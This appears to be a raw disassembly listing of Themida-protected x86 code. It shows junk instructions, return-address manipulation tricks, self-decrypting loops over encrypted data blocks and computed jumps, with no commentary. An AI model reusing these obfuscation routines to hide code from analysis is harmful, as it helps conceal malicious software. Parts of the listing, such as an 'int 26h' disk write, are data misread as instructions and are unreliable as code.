push dword ptr [ebp+61229A5h]
push 0
push edi
call sub_5EB9BF
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5EB9BF proc near ; CODE XREF: Themida_:005EB9B7p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Dh
inc edi
push edi
retn
sub_5EB9BF endp
; ---------------------------------------------------------------------------
align 10h
rol byte ptr [edx-7], 1
add al, 2Ch
stc
mov esi, 8B66CE78h
idiv edi
xchg eax, ebp
and dword ptr [edi], 6A0612h
push ebx
call sub_5EB9ED
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5EB9ED proc near ; CODE XREF: Themida_:005EB9E5p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_5EB9ED endp
; ---------------------------------------------------------------------------
xor al, 5Bh
and bx, 0F8C1h
mov eax, 6D5B8AA9h
push 0
loc_5EBA0B: ; CODE XREF: Themida_:005EBA7Ej
call dword ptr [ebp+61229D1h]
mov eax, eax
jmp short loc_5EBA71
; ---------------------------------------------------------------------------
db 0F3h, 9Dh, 1Fh
dd 0BE34C82Dh, 475B968Dh, 9E56DFFAh, 2F527473h, 926EA2B2h
dd 82E20198h, 0E8BF804Ah, 0E2F90882h, 0D1D2E04Ah, 8A8E19A5h
dd 0B1F39B5Bh, 0DAB35DA7h, 69D6C36Fh, 0F7E7EC18h, 557B222h
dd 0A0A5EE41h, 460FBA3Fh, 2F96F914h, 0DD03B236h, 1F9A08h
dd 5DF68A2Bh, 0F3FC06CCh
db 0C0h
; ---------------------------------------------------------------------------
loc_5EBA71: ; CODE XREF: Themida_:005EBA13j
call sub_5EBA87
adc ch, bh
cmp [esi+24CBB0BBh], cl
jnz short loc_5EBA0B
inc edx
xor cl, [ecx-326AF5BFh]
; =============== S U B R O U T I N E =======================================
sub_5EBA87 proc near ; CODE XREF: Themida_:loc_5EBA71p
arg_0 = dword ptr 4
jnb loc_5EBA90
mov bx, cx
loc_5EBA90: ; CODE XREF: sub_5EBA87j
pop eax
mov [ebp+61220A5h], edx
add eax, 7499h
sub edx, edx
sbb bx, 0BA41h
loc_5EBAA4: ; CODE XREF: sub_5EBA87+77j
mov edi, [eax+edx]
mov esi, [ebp+61212E1h]
sub edi, 1A8C2DF3h
sub si, 0C467h
xor edi, 3727FFCDh
jl loc_5EBAC9
push eax
sbb bh, 58h
pop ecx
loc_5EBAC9: ; CODE XREF: sub_5EBA87+37j
sub edi, 69F69212h
mov esi, [ebp+6122955h]
push edi
jnb loc_5EBAE2
and ebx, 6F7F5B7Fh
loc_5EBAE2: ; CODE XREF: sub_5EBA87+4Fj
pop dword ptr [eax+edx]
xor cx, 0CDFEh
movsx ebx, di
sub edx, 1
and cl, 0E0h
dec edx
dec edx
dec edx
mov bl, 49h
cmp edx, 0FFFF8BFCh
jnz loc_5EBAA4
jmp loc_5EBB0F
; ---------------------------------------------------------------------------
dec ecx
cmp eax, 0FC1024C8h
loc_5EBB0F: ; CODE XREF: sub_5EBA87+7Dj
jmp loc_5EBB49
; ---------------------------------------------------------------------------
dd 14BDF1BDh, 0Ch dup(0)
db 0
; ---------------------------------------------------------------------------
loc_5EBB49: ; CODE XREF: sub_5EBA87:loc_5EBB0Fj
jmp loc_5EC485
; ---------------------------------------------------------------------------
dw 93FEh
dd 0F6962F7Ch, 5733CC19h, 0BDD26BB8h, 216C0552h, 4B1A1EEh
dd 1F6CA3EAh, 0BD0A0586h, 56A36C24h, 0F13ED1BDh, 0C7C0C817h
dd 0B44DF85Fh, 6B2301D7h, 5147DF5Fh, 2885D23Dh, 6B73321Fh
dd 49F16B23h, 0DF985762h, 0EACF62ADh, 0E4A36C21h, 45ED642Bh
dd 533CB108h, 7D7A0D78h, 0A665AAE4h, 0E7B29FEDh, 25180FD3h
dd 0B99E319Ch, 0BFB39EF0h, 0E4DD37CAh, 6E376CD7h, 0F2959D1Eh
dd 914DF1EAh, 55E61B86h, 612A41CCh, 99F25398h, 0AD994176h
dd 3ED1B934h, 0FCB55CD3h, 0A2EE818Eh, 25EAA43Fh, 0C1E3E3D8h
dd 753824AEh, 8A000000h, 0DA355B14h, 2E3FD2A5h, 0DAF1B05Fh
dd 0F0A06F21h, 47DF5F97h, 689D721Bh, 5FF2FD95h, 33DCB17Ah
dd 469B1FFEh, 5E1DF29Bh, 0F126E9A5h, 998E8B1Eh, 22BCE239h
dd 3BEEh, 1B724000h, 86C091FEh, 0F01B70FFh, 30F92E99h
dd 0AA7DB25Dh, 879FD43Fh, 47DFF607h, 137C3564h, 90FEC7FCh
dd 0C774A7Fh, 39B42D79h, 0D76EBB54h, 34h, 0CB444700h, 230C396h
dd 2C6C9314h, 6BF6498Ah, 49C6C7D8h, 54BBD18Ah, 0FBFA8D95h
dd 7E8947DFh, 26DF06EBh, 0B212A56Ah, 47DFFBDBh, 6F7A67ABh
dd 0EEA4F11Eh, 1C0A5AEh, 39CC4348h, 6CF0C2CAh, 949F49F1h
dd 1BF4965Fh, 0BA5535CEh, 2EFF885h, 8AB33B43h, 2AAB5003h
dd 840B24EBh, 559D3033h, 816D154Ah, 0A058560h, 0EB6624BDh
dd 0A838DBBEh, 98A4E3Eh, 1C02012Ah, 0FA1247B2h, 47E021BDh
dd 717C6519h, 0B637F619h, 0F079267Dh, 0FD05C469h, 47DF6F8Ah
dd 5E5BEEF9h, 0BBA0AEA8h, 14B89E3Dh, 5F92F5FDh, 916047DFh
dd 5518656Eh, 66F9049Ch, 17D63955h, 50E32C5Eh, 16D08622h
dd 25BCEACEh, 215Bh, 0A0AEAD00h, 0C143DBBh, 47DF5F7Bh
dd 147FFD08h, 0F718723Eh, 9C25179h, 0CAF88B84h, 2974h
dd 0A0AEDE00h, 0C143DBBh, 47DF5F7Bh, 9432CD76h, 73E741C4h
dd 3E148A08h, 0DF305B14h, 0C04F3B4Ch, 2F5B1442h, 45D8ABE0h
dd 5B14C513h, 394ADD32h, 47C8C455h, 0C780A7DCh, 3F1247C8h
dd 0DFD14CACh, 9EED47C3h, 1C733C71h, 5BDFBEF3h, 0F235186h
dd 0DA7717D2h, 0D879757Dh, 2471DC9Ah, 0D80D028Bh, 7798F8B1h
dd 55BAD3E4h, 24BD4120h, 0FE4BC4C9h, 9FE8F007h, 1347E3A0h
dd 0FBFC947Bh, 774A7F90h, 30DFAB0Ch, 0BF50309Dh, 518522B8h
dd 0D7000000h, 0E02F5B14h, 1377D8ABh, 365869FCh, 667DA4D9h
dd 0DF60295Eh, 0BC4F5A47h, 38F7DEE7h, 0CD020D7Fh, 53888704h
dd 13821580h, 0F17C1F0Bh, 5E939E49h, 6E1EFB95h, 2E996CA1h
dd 0B35C30F9h, 0E157ED7Eh, 0E9E2CB9Fh, 0D409D88Ch, 944F92A6h
dd 12C815FAh, 0BEF31C72h, 7A392831h, 602C5B63h, 444F47DFh
dd 9C3A42B1h, 0B49F15Bh, 741AB300h, 90742EDDh, 0ADD12FDh
dd 924622E1h, 4BB65931h, 58B7D38Ch, 0B9E0C5h, 0D028A8Fh
dd 0F9AF0FA2h, 0BBD164ADh, 3F083DD2h, 0E78FC44Bh, 0C3F1E6FBh
dd 0D7B732AFh, 5AC54A42h, 0FF1A740Dh, 0BE4F848Bh, 23B3CBBh
dd 0DC47B228h, 0D0111AA7h, 402DBFC8h, 46B1BCCAh, 1F687087h
dd 5CCA402Eh, 6FA0F051h, 65D4673Ah, 5245B15Dh, 7CC9D4CCh
dd 0BBA0AEC6h, 72B89E3Dh, 8675F31Ch, 0A91A0E8Fh, 0C561EFDCh
dd 0CE160432h, 5B25BCEAh, 24h, 0BBA0AEADh, 7B0C143Dh, 847DF5Fh
dd 3E147FFDh, 9BA31872h, 47DF5FECh, 9B19848Fh, 2C740351h
dd 0DE000000h, 3DBBA0AEh, 5F7B0C14h, 8B7647DFh, 1393140Dh
dd 5794E39Bh, 481E8D20h, 9BA31872h, 47DF5FECh, 9B19848Fh
dd 8109C251h, 72CDFB8Eh, 0B334F31Ch, 5E340EC2h, 0E22D60FBh
dd 0D8FFE477h, 1CEB9C1h, 0A2AD47E0h, 816EAF0Fh, 0ABBF47C4h
dd 2CE3AB36h, 0C9D1E8DFh, 47E382BEh, 41CEBCBDh, 5B3243D6h
dd 0D7B67FB4h, 533A0338h, 0CEBE87BCh, 62760C41h, 3CE35A7Fh
dd 0CE030C83h, 82E89FA7h, 909B47E3h, 9B469225h, 0B3DC3D50h
dd 2D5E275Ch, 0BF0C77E2h, 0B8DDCACAh, 441F22h, 77300000h
dd 89860415h, 0E1168154h, 0AEA44850h, 83EE22C6h, 1C72C2F0h
dd 2831BEF3h, 0DC727A39h, 2B49F181h, 6922EB20h, 0E2A871A6h
dd 0B7FBF82Dh, 7387B52Ah, 0F41B736Eh, 0FB147C35h, 0BB746B68h
dd 380B40CFh, 1C7277A5h, 0DE97BEF3h, 592C61AEh, 0F9E8F1C6h
dd 0F95BB93Ah, 0E7BF0F9Bh, 0B6DF46D5h, 2FC248F2h, 9BF0A9C0h
dd 4981E174h, 0B449F24Fh, 0AEA65CA9h, 0E5FCBBA0h, 0DF5FAADDh
dd 0A5CED947h, 9E2BCDCBh, 558316C1h, 9314B89Eh, 440F37E7h
dd 73141C9Fh, 1047DFA4h, 0F6079A05h, 86F97798h, 0EACE16D0h
dd 665B25BCh, 0AD000000h, 3DBBA0AEh, 0E02F5B14h, 63ACE2ABh
dd 0C7F05B2Eh, 5CC0A236h, 56C55802h, 4B06863Fh, 2FEAF10Ch
dd 0E51A85B1h, 35DAB112h, 3A9A2D00h, 47DFB64Dh, 14A5232Eh
dd 5F92F5FDh, 0C06047DFh, 0F2B43621h, 0CA5D6800h, 1872855Bh
dd 5B1479F7h, 0D3A6DB34h, 5EF11E72h, 9314DE2Ch, 32AA244Ch
dd 0E0EF8250h, 44h, 67A0AE4Ah, 9FBA57E6h, 9848DE6Ch, 47DFE4EFh
dd 9816818Ch, 5F7B0C14h, 28E147DFh, 3BD4B762h, 35C83306h
dd 0FE117A5Bh, 3E141593h, 38F71872h, 5F6E1921h, 20D47DFh
dd 5F4C3B43h, 242F47DFh, 3516391h, 90FD1C72h, 9814A7Fh
dd 0FB309B06h, 0C3DF3AE3h, 0E52A6047h, 75A4E7B0h, 598EF916h
dd 0AD32AFC3h, 0D766B7Fh, 0BC533DF6h, 0E3E07B0Ch, 6AFD0847h
dd 1BDA3559h, 0C115359Ah, 0E546A26Eh, 0D9D669A6h, 707161E2h
dd 67864D85h, 44CBC3D4h, 0C9D1E80Fh, 47E38CBEh, 4A1FB2BDh
dd 8D955441h, 49F5A255h, 40CFC079h, 9B5A65ADh, 2C61AEE2h
dd 13C9C659h, 0C6C5A0AEh, 0D6411449h, 8FF80017h, 0EC47DF5Fh
dd 9E204EE1h, 0F31C72B8h, 16D08675h, 25BCEACEh, 0B95635EEh
dd 1C1EB184h, 5Bh, 0F7FF162Dh, 4ADF5F90h, 4F38E8F3h, 2C4ADF5Fh
dd 40AB642Bh, 0A0AE7FADh, 204FD6FDh, 53BE93F6h, 7B0C14D5h
dd 0E147DF5Fh, 5FC5C2CAh, 0EDB647DFh, 23C3E533h, 9326913Ah
dd 14C2404Bh, 5F92F5FDh, 0E6F147DFh, 720EE453h, 838C0118h
dd 0C2519A18h, 0F88B8409h, 1B74CAh, 0AEDE0000h, 143DBBA0h
dd 0C44B44FDh, 5FB6D131h, 483347DFh, 723E14CAh, 5179F718h
dd 305B1403h, 0ABE1AADFh, 0F15C2F64h, 0CE414D5Eh, 40F17299h
dd 0C418B672h, 74A9099Ch, 0BD47C449h, 0CE4F38A9h, 7D85C0DBh
dd 47E3C70Ah, 0A7456E79h, 697A0D37h, 49DEA25h, 0C350858Ah
dd 40CCBBAh, 49F63F0Ah, 0FE117C7Dh, 337238C9h, 0BC35F884h
dd 0E399E651h, 3DBBA0AEh, 5B14B89Eh, 0D4A7DC33h, 5F7A0D15h
dd 0FE0947DFh, 0DB345A6Bh, 0E8F865Dh, 34973E5Fh, 0BFED8049h
dd 0BCEACE16h, 695B25h, 14AD0000h, 1FC7D793h, 699481Bh
dd 43482331h, 0BCCE97CCh, 0E04B1E53h, 0CAFF107Fh, 0B6CD8CF7h
dd 0E04DD9AEh, 0C9FAA47h, 335B14DEh, 0C3DA49DCh, 0FB8E810Ah
dd 0DF5FEC9Bh, 0EE76847h, 50B7E8E2h, 17226AFDh, 143E1499h
dd 4ADD325Bh, 40BE5139h, 8841C251h, 0BA5536F5h, 0EE89B285h
dd 54BBD054h, 4EE14C1Fh, 3C7420h, 0AEDE0000h, 143DBBA0h
dd 0DF5F7B0Ch, 0D8B7647h, 0DA355B14h, 5BB4DCA5h, 55E85326h
dd 5B1410E6h, 0D3A6DB34h, 0BE5B2F40h, 4C1942CDh, 3B78AAB2h
dd 5153D13Ch, 0D7041C2h, 60BAE86h, 1C724573h, 0DE97BEF3h
dd 5A2D62ADh, 3EE9F2C7h, 0F21D3FD9h, 9857C2AEh, 48C7C881h
dd 4DAD4013h, 49F1D3B9h, 764B1BCh, 505817FEh, 5008AB85h
dd 17F8924Bh, 347C0FE2h, 0E5E96A29h
dd 14737B51h, 6747EB58h, 9461335Ch, 12DBC053h, 82BE3F7Ch
dd 0CE5E7440h, 0D4E1A656h, 97A247EAh, 2FE8DF2Ch, 0A679AE61h
dd 91C64945h, 741A2BBEh, 0AC4E669Bh, 5356DCDh, 99F5F0F1h
dd 0FE902976h, 7C13DC11h, 3A53D493h, 485BC23h, 0AB4D3DBh
dd 0BCC75A8Fh, 31D9BE51h, 0ED226922h, 652E5B8h, 94F9B2DBh
dd 0B7D7E87Bh, 0F8189958h, 6C2EFE2Fh, 0FFF6F386h, 71A7E0E8h
dd 0C9D45A8Eh, 0A6692536h, 3AA71h, 22140000h, 0F01F7234h
dd 739CF2BBh, 0F41B753Eh, 7A95F6BFh, 0FE117C45h, 828D00C9h
dd 40B844Dh, 8B8406CFh, 10FF8D56h, 0A568D4DBh, 8900002Fh
dd 0BB532424h, 4, 4245C01h, 4EC835Bh, 50243489h, 405E089h
dd 2D000000h, 4, 5C240487h, 55241489h, 3209D668h, 0D5F75D63h
dd 0F5B5ED81h, 0EE8996B4h, 148B545Dh, 4C48324h, 8B850h
dd 0D0010000h, 48B3089h, 4C48324h, 5024148Bh, 405E089h
dd 5000000h, 4, 5C240487h
; ---------------------------------------------------------------------------
mov esi, [esp-4+arg_0]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+0]
pop esp
jmp loc_583BD9
; ---------------------------------------------------------------------------
dd 0A6E3C483h
db 1Bh
; ---------------------------------------------------------------------------
loc_5EC485: ; CODE XREF: sub_5EBA87:loc_5EBB49j
mov eax, 6190924h
add eax, ebp
jmp eax
sub_5EBA87 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dw 2DF4h
dd 4DD864F3h, 1ADB20C3h, 4CA63A4Fh, 68030728h, 53317A54h
dd 4A663BA7h, 9A255F4h, 459A1D08h, 6C14257h, 9A462E11h
dd 2D663AEAh, 0D2795BDFh, 8D8D0A07h, 6190AB4h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0BCC35040h, 0D9C73288h
dd 2B11BD89h, 8D890612h, 6122DCDh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 14h, 40C35141h, 0BD85C7F5h, 48061231h
dd 6A000060h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 16042444h, 40000000h, 165DC350h, 820F25h, 0C7000000h
dd 12001185h, 6, 0FD950100h, 0FF061231h, 1213A1B5h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
dd 0C38DDB3h, 79858B5Eh, 0FF061219h, 12278195h, 0C5952906h
dd 6A06122Ah, 0D195FF00h, 8B061229h, 3B39EBC0h, 8C03D348h
dd 0A4CA7045h, 75E7CAC5h, 0D23E006Ch, 7A6978EFh, 0E2E81FB2h
dd 6DC55923h, 3B39FD1Fh, 79E9F754h, 423883A0h, 0F51FB5D1h
dd 0D67D9C65h, 0AB0AD733h, 1212A11Ah, 7E8h, 28516100h
dd 3C99616Ah, 0BE665AF9h, 0C28147C4h, 660Dh, 26258589h
dd 7FB80612h, 8172A32Bh, 0A33227F0h, 11E872h, 0C7900000h
dd 424814C7h, 80E3DEC1h, 0D633271Eh, 93CB259h, 121EF1BDh
dd 1A8B5E06h, 732EF381h, 0B70F3A72h, 0BCC381F2h, 663CEEBFh
dd 81EAA9B9h, 279D70EBh, 0B58D8956h, 89061208h, 4DC1801Ah
dd 4D99EA81h, 85895D5Ah, 61215F1h, 4D95C281h, 0D9805D5Ah
dd 1E8832Dh, 14850Fh, 0B70F0000h, 24E9CEh, 0E4C20000h
dd 0B16FB8D4h, 0F99F726Bh, 0B533727Fh, 612029Dh, 0FFFF9DE9h
dd 245C4FFFh, 0EF591D74h, 6A80AFF9h, 8D8D5F09h, 6190C9Ah
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0EFC35343h
dd 0B3E47FDBh, 0B32FD0B3h, 0CD8D8994h, 6A06122Dh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
dd 39FCC353h, 52A0A2A4h, 0D78166A3h, 85C778CDh, 61231BDh
dd 6D5Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ch, 9DC35242h, 5241B44h, 0D6F2E330h, 85C7ACB4h, 6120011h
dd 0
; ---------------------------------------------------------------------------
mov dx, cx
clc
push dword ptr [ebp+61232E5h]
push 0
push eax
call sub_5EC729
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5EC729 proc near ; CODE XREF: Themida_:005EC721p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ah
inc eax
push eax
retn
sub_5EC729 endp
; ---------------------------------------------------------------------------
inc ecx
retf
; ---------------------------------------------------------------------------
pop es
test esp, edx
sahf
cmpsd
cmc
call dword ptr [ebp+6122781h]
push 0
push edi
call sub_5EC752
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5EC752 proc near ; CODE XREF: Themida_:005EC74Ap
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 18h
inc edi
push edi
retn
sub_5EC752 endp
; ---------------------------------------------------------------------------
or [ecx+71h], dl
dec esp
enter 0FFFFBD09h, 4Dh
sub eax, 6A0612h
call dword ptr [ebp+61229D1h]
mov eax, eax
jmp short loc_5EC7F5
; ---------------------------------------------------------------------------
db 75h, 0A4h, 0DEh
dd 17D9C3A8h, 579785EAh, 7576B050h, 44228935h, 6408A7F6h
dd 90C59A8h, 7196B359h, 94D96E8Bh, 6B7176E4h, 0CD4626B2h
dd 1B464C47h, 0C9940CCEh, 0D86AB99Bh, 534C2201h, 0F3168316h
dd 7D280A42h, 0D9078FCAh, 0FB2898C3h, 3CC90FE3h, 0A03518Ah
dd 0F0ECB36Fh, 0FC1D293Dh, 3859ED0h, 7FA6BF5Eh, 6ED57299h
dd 1ED247C3h, 0B1C2E2C1h, 0A7E4F3E0h, 1AB31D96h, 0B4C3D519h
db 1Ah
; ---------------------------------------------------------------------------
loc_5EC7F5: ; CODE XREF: Themida_:005EC777j
lea ecx, [ebp+6190DAAh]
push esi
call near ptr loc_5EC806+1
sub eax, 7EF273Ah
loc_5EC806: ; CODE XREF: Themida_:005EC7FCp
jns short near ptr loc_5EC866+2
popa
pop edx
pop ebx
jns loc_5EC816
and ax, 0FADBh
loc_5EC816: ; CODE XREF: Themida_:005EC80Bj
mov [ebp+6122DCDh], ecx
xor ax, 26ACh
mov dword ptr [ebp+61231BDh], 68B8h
mov [ebp+6122DC5h], esi
mov dword ptr [ebp+6120011h], 0
call sub_5EC84D
mov edi, 0EA6F8B00h
or eax, 0BF0BBF59h
int 26h ; DOS - ABSOLUTE DISK WRITE (except DOS 4.0/COMPAQ DOS 3.31 >32M partn)
; AL = drive number (0=A, 1=B, etc), DS:BX = Disk Transfer Address (buffer)
; CX = number of sectors to write, DX = first relative sector to write
; Return: CF set on error
out dx, eax
; =============== S U B R O U T I N E =======================================
sub_5EC84D proc near ; CODE XREF: Themida_:005EC83Bp
mov [ebp+6121925h], ebx
pop eax
push dword ptr [ebp+61229E5h]
add [ebp+612221Dh], eax
xor edi, 61A3E137h
loc_5EC866: ; CODE XREF: Themida_:loc_5EC806j
call dword ptr [ebp+6122781h]
jmp loc_5EC87D
; ---------------------------------------------------------------------------
db 79h, 16h, 59h
db 72h
; ---------------------------------------------------------------------------
loc_5EC875: ; CODE XREF: sub_5EC84D+49j
xchg eax, ebp
; ---------------------------------------------------------------------------
dw 0D1C5h
; ---------------------------------------------------------------------------
mov dh, 43h
push ds
inc eax
pop eax
loc_5EC87D: ; CODE XREF: sub_5EC84D+1Fj
push 0
call dword ptr [ebp+61229D1h]
mov eax, eax
jmp short loc_5EC891
; ---------------------------------------------------------------------------
db 0Dh, 74h, 0C4h
dd 0C8547E02h
; ---------------------------------------------------------------------------
push ebp
loc_5EC891: ; CODE XREF: sub_5EC84D+3Aj
call near ptr loc_5EC89C+2
js short loc_5EC875
jg short near ptr loc_5EC90C+4
push 2Fh
loc_5EC89C: ; CODE XREF: sub_5EC84D:loc_5EC891p
mov edx, 0F2DF801Fh
sub_5EC84D endp ; sp-analysis failed
pop edi
mov [ebp+61231D1h], eax
add edi, 5DBFh
mov esi, [ebp+6122339h]
push 1749h
mov [ebp+612139Dh], esi
pop ecx
mov bh, 0Fh
; START OF FUNCTION CHUNK FOR sub_5EC905
loc_5EC8C2: ; CODE XREF: sub_5EC905:loc_5EC923j
mov edx, [edi]
mov si, 0BF9Ch
xor edx, 13927C1Bh
mov esi, [ebp+612087Dh]
add edx, 0B5868C2h
cmc
sub edx, 1B27CFF0h
cmc
push edx
mov esi, [ebp+6122A19h]
pop dword ptr [edi]
cmc
sub edi, 4
mov si, dx
dec ecx
jnz loc_5EC923
call near ptr sub_5EC905
sar bl, cl
or eax, 22137FE0h
; END OF FUNCTION CHUNK FOR sub_5EC905
; =============== S U B R O U T I N E =======================================
sub_5EC905 proc far ; CODE XREF: sub_5EC905-Cp
; FUNCTION CHUNK AT 005EC8C2 SIZE 00000043 BYTES
mov [ebp+6120005h], edx
pop esi
loc_5EC90C: ; CODE XREF: sub_5EC84D+4Bj
jmp loc_5EC935
; ---------------------------------------------------------------------------
pop edi
push ebp
pop eax
mov ds:63CD2A3Dh, eax
retf
; ---------------------------------------------------------------------------
dw 8329h
; ---------------------------------------------------------------------------
push ebx
pop edi
mov ebx, 146D78B3h
loc_5EC923: ; CODE XREF: sub_5EC905-12j
jmp loc_5EC8C2
; ---------------------------------------------------------------------------
dd 0EE501536h, 0E804C546h, 0DDF85151h
db 0FFh
; ---------------------------------------------------------------------------
loc_5EC935: ; CODE XREF: sub_5EC905:loc_5EC90Cj
lea ecx, [ebp+6190EF7h]
push 0
push ebx
call sub_5EC946
and [ebx-3Dh], bl
sub_5EC905 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5EC946 proc near ; CODE XREF: sub_5EC905+39p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_5EC946 endp
; ---------------------------------------------------------------------------
jo short near ptr loc_5EC95E+2
xor eax, [ebp+61225BDh]
loc_5EC95E: ; CODE XREF: Themida_:005EC956j
mov [ebp+6122DCDh], ecx
xor [ebp+6121385h], eax
mov [ebp+612173Dh], eax
mov dword ptr [ebp+61231BDh], 621Ch
mov [ebp+6120089h], edi
add ax, 80FFh
mov dword ptr [ebp+6120011h], 0
mov [ebp+6121D15h], ebx
movsx edx, di
push dword ptr [ebp+61231F1h]
mov si, 9D8Eh
call dword ptr [ebp+6122781h]
push 0
push ebp
call sub_5EC9B3
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5EC9B3 proc near ; CODE XREF: Themida_:005EC9ABp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
retn
sub_5EC9B3 endp
; ---------------------------------------------------------------------------
mov fs, bp
sub [esi+6A9E2399h], bh
add bh, bh
xchg eax, ebp
shr dword ptr [ecx], 1
adc al, [esi]
mov eax, eax
jmp short loc_5ECA54
; ---------------------------------------------------------------------------
dw 2922h
dd 0FE20C074h, 89BA69B8h, 29C03359h, 86049BAh, 6F27BAA7h
dd 0EAD87DD6h, 9ADE86C0h, 7D295D95h, 0EBD95F81h, 4BF17428h
dd 0B57CB106h, 0E7E8CA5Ch, 62C3DBE3h, 75C9C66Dh, 6E20D09Eh
dd 5C206EA0h, 7D87E547h, 2C7A55Fh, 8AA1622Fh, 0C9628704h
dd 65234E89h, 0D50175FAh, 0E79F403Bh, 97F947B0h, 1DC2565Bh
dd 93C79C47h, 3EEC8158h, 191E1A26h, 3041EF11h, 0D7FE796Fh
dd 0B343212Fh
; ---------------------------------------------------------------------------
loc_5ECA54: ; CODE XREF: Themida_:005EC9D4j
jmp loc_5ECB33
; ---------------------------------------------------------------------------
add eax, 0D73E5737h
pushf
inc ebp
retf 0C8C3h
; ---------------------------------------------------------------------------
db 0E1h
dd 0ACABDAB6h, 92B395A7h, 95A1F445h, 0ABDA00B3h, 5D20A7ECh
dd 0F46BB291h, 752096B1h, 0B79B5520h, 0A5BCF26Bh, 94A19692h
dd 99603A75h, 0BD329FB7h, 0B2E9B599h, 0F292A59Ch, 7695ACA3h
dd 97B1EFh, 0A5B4F94Eh, 6B5C009Fh, 924AF07Bh, 52D0008Ah
dd 53F545F3h, 0D979A3F6h, 0AFF144D6h, 41F445E3h, 0B000D77Dh
dd 6BBF9792h, 0CF60FD75h, 0BCF996BFh, 7D20B293h, 0F79B5720h
dd 0BD9492ABh, 0BCE3B29Eh, 9BE0CE9Dh, 9D728F89h, 0EEA9FD8Fh
dd 0B6F66DB4h, 7293BCE1h, 97B3EDh, 43F1B6D0h, 0F0A8CDh
dd 0
dd 129D7447h, 5E99E0E3h, 8 dup(0)
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_5ECB33: ; CODE XREF: Themida_:loc_5ECA54j
jmp loc_5EE002
; ---------------------------------------------------------------------------
push 6191245h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 619133Bh
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 619140Fh
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 6191532h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 61915B9h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 6191696h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 6191744h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 61917F2h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 619189Ch
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 6191A09h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 6191B16h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 6191CB4h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 6191D99h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 6191F00h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 6192015h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 61921A9h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 619228Dh
jmp loc_583BD9
; ---------------------------------------------------------------------------
dw 276Ah
dd 8A029BE8h, 0EB9F3885h, 513ED724h, 0B5D871BEh, 981D0D5Ah
dd 8BD83756h, 297699F2h, 0C20F0090h, 5DAA6529h, 5B2C3483h
dd 284DF870h, 1C72754Bh, 5FF0979Fh, 0C1CA47DFh, 40ABB64Eh
dd 0C34C420Bh, 21101976h, 8D345A62h, 485349F1h, 8E90FB13h
dd 24634DF1h, 8E82050Dh, 0F6014DF1h, 0C3CA1763h, 24AECDC3h
dd 3818h, 0A5AE6A00h, 0FF0DF702h, 43AEA406h, 0C94A7C84h
dd 0ACAD49F1h, 0DB8770E1h, 0C3B2F16Fh, 752EED58h, 0F0C3F817h
dd 2B60785Dh, 0C84DF1B9h, 665E35ACh, 0B324AEA7h, 0D4h
dd 0F31C7205h, 0B1DE97BEh, 0D3BACB5Eh, 503E073Ch, 454700BFh
dd 895237CAh, 0D5BD0A05h, 47DF5A90h, 226FA0EEh, 7B0C142Bh
dd 847DF63h, 35596AFDh, 95FA611Ch, 0A20D41A7h, 0EAD7E06Dh
dd 48B7232Bh, 0E8FF49F2h, 0F242A7E0h, 36C9D44Dh, 0B3D725EEh
dd 540C601Fh, 0B9A92AE9h, 0BD003D2Ah, 0C72421B4h, 1018D7BEh
dd 50046576h, 0ED9AA201h, 8E47E62Dh, 0A0591883h, 0AA6322EDh
dd 21F429E6h, 95F8918Eh, 0E9000DBCh, 643626C0h, 43ED920Ch
dd 72F15CC7h, 0EDBF8FB7h, 524F16BBh, 2D000012h, 0C55EAB64h
dd 62FB48C7h, 19AE728h, 9B34818Eh, 0E0D01DF2h, 9B7419D5h
dd 39D6B54Eh, 0D23D53ECh, 6DA2EC85h, 0EFF74620h, 4DF87198h
dd 72380EEBh, 0EA7F41Bh, 8C428F80h, 1C0A5AEh, 0F17ECDF9h
dd 6E2D3849h, 439D6B5h, 51BED031h, 0F9B2D9BEh, 86E67996h
dd 4DF18105h, 780FD2EEh, 24AEDF18h, 0E1CDh, 0A15DDE00h
dd 0B1DB5560h, 75121AD9h, 64DF1B7h, 723A68FBh, 0F5BEF31Ch
